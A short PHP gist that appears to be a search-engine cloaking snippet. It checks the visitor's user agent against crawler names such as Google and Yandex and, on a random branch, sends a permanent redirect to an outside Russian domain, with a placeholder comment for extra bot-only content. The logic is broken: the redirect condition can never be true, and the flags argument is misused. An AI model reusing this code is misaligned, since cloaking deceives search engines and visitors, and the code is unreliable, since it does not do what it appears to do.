gistfile1.php

<?PHP
$interestingCrawlers = array( 'yandex', 'google', 'yahoo' );

$pattern = '/(' . implode('|', $interestingCrawlers) .')/';
$matches = array();

if(!isset($_SESSION)){
    if (rand(0,10) > 5) {
        session_start();
    } else {
        $numMatches = preg_match($pattern, strtolower($_SERVER['HTTP_USER_AGENT']), $matches, 'i');
        if($numMatches < 0) {
            Header("HTTP/1.1 301 Moved Permanently");
            Header("Location: http://new.vsesvetodiody.ru//");
        } else {
            // Here goes some add code for bots, maybe
        }
    }
}
?>